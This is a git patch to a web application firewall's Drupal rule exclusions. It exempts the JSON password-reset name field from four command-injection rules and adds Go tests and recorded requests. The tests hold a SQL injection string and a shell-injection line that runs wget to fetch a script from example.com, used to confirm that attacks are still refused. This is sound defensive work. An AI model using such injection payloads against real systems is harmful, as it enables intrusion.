From e2b47cd6e796272bef82d0b2f7cc9d0fdc592a3e Mon Sep 17 00:00:00 2001 From: sneak Date: Mon, 9 Nov 2026 22:37:14 +0000 Subject: [PATCH] Core Rule Set: Drupal's JSON password reset passes (closes #259) POST /user/password?_format=json with a name of python3, powershell, ls -la or .htaccess was refused while bodies are read. On that path, the JSON field name now skips 930120, 932120, 932250 and 932260, the four rules those recorded names set off, unless the query has a json.name parameter. Recorded from Drupal 11.4.11. Model: opus-5-5 --- SPEC.md | 2 + internal/coreruleset/drupal.conf | 10 +++++ internal/coreruleset/drupal_test.go | 45 +++++++++++++++++++ .../coreruleset/testdata/drupal-requests.txt | 5 +++ 4 files changed, 62 insertions(+) diff --git a/SPEC.md b/SPEC.md index ac9e465..b0ebbdc 100644 --- a/SPEC.md +++ b/SPEC.md @@ -975,6 +975,8 @@ changes hold in front of every app, and no setting undoes them: - The body and comment body on the node and comment forms and through JSON:API, which hold HTML and any code it shows. - `name` and `pass` when signing in (930120, 932120, 932250, 932260). + - `name` when resetting a password through Drupal's JSON format on + `/user/password`, for the same four rules. - `name` when signing up, editing an account and commenting without an account, for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 5ff5e8d..685fee6 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -218,3 +218,13 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \ ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\ ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\ ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value" + +# A client resetting a password in Drupal's JSON format sends the account in +# the JSON field name: POST /user/password?_format=json with a name of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900817,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.name "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.name" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index a3dfe9e..55b2710 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -19,6 +19,9 @@ const drupalSignIn = "/user/login" // drupalJSONSignIn is Drupal's sign-in in its JSON format. const drupalJSONSignIn = "/user/login?_format=json" +// drupalJSONPasswordReset is Drupal's password reset in its JSON format. +const drupalJSONPasswordReset = "/user/password?_format=json" + // drupalTagForm is Drupal's form for a new tag. const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" @@ -184,6 +187,26 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } } +func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{ + `1' OR '1'='1`, + ``, + `; wget http://example.com/x.sh`, + } { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"name":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } +} + // drupalCommandAttack is a shell command that only 932230 and 932235 refuse // on the fields that skip the other command rules, as a query value. const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" @@ -345,6 +368,14 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { if got.Score >= drupalThreshold { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } + + r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body = `{"name":"` + word + `"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } } } @@ -411,4 +442,18 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Errorf("POST %s let through: %+v", r.target, got) } } + + // The JSON field name keeps the rules beside json.name in the query, and + // on a path other than the password reset. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.name=python3", + "/user/register?_format=json", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"name":"python3"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } } diff --git a/internal/coreruleset/testdata/drupal-requests.txt b/internal/coreruleset/testdata/drupal-requests.txt index 43d85b3..3dc76f3 100644 --- a/internal/coreruleset/testdata/drupal-requests.txt +++ b/internal/coreruleset/testdata/drupal-requests.txt @@ -407,6 +407,11 @@ {"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"

SELECT rows FROM table, then ls -la.

\", \"format\": \"basic_html\"}}}}"} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}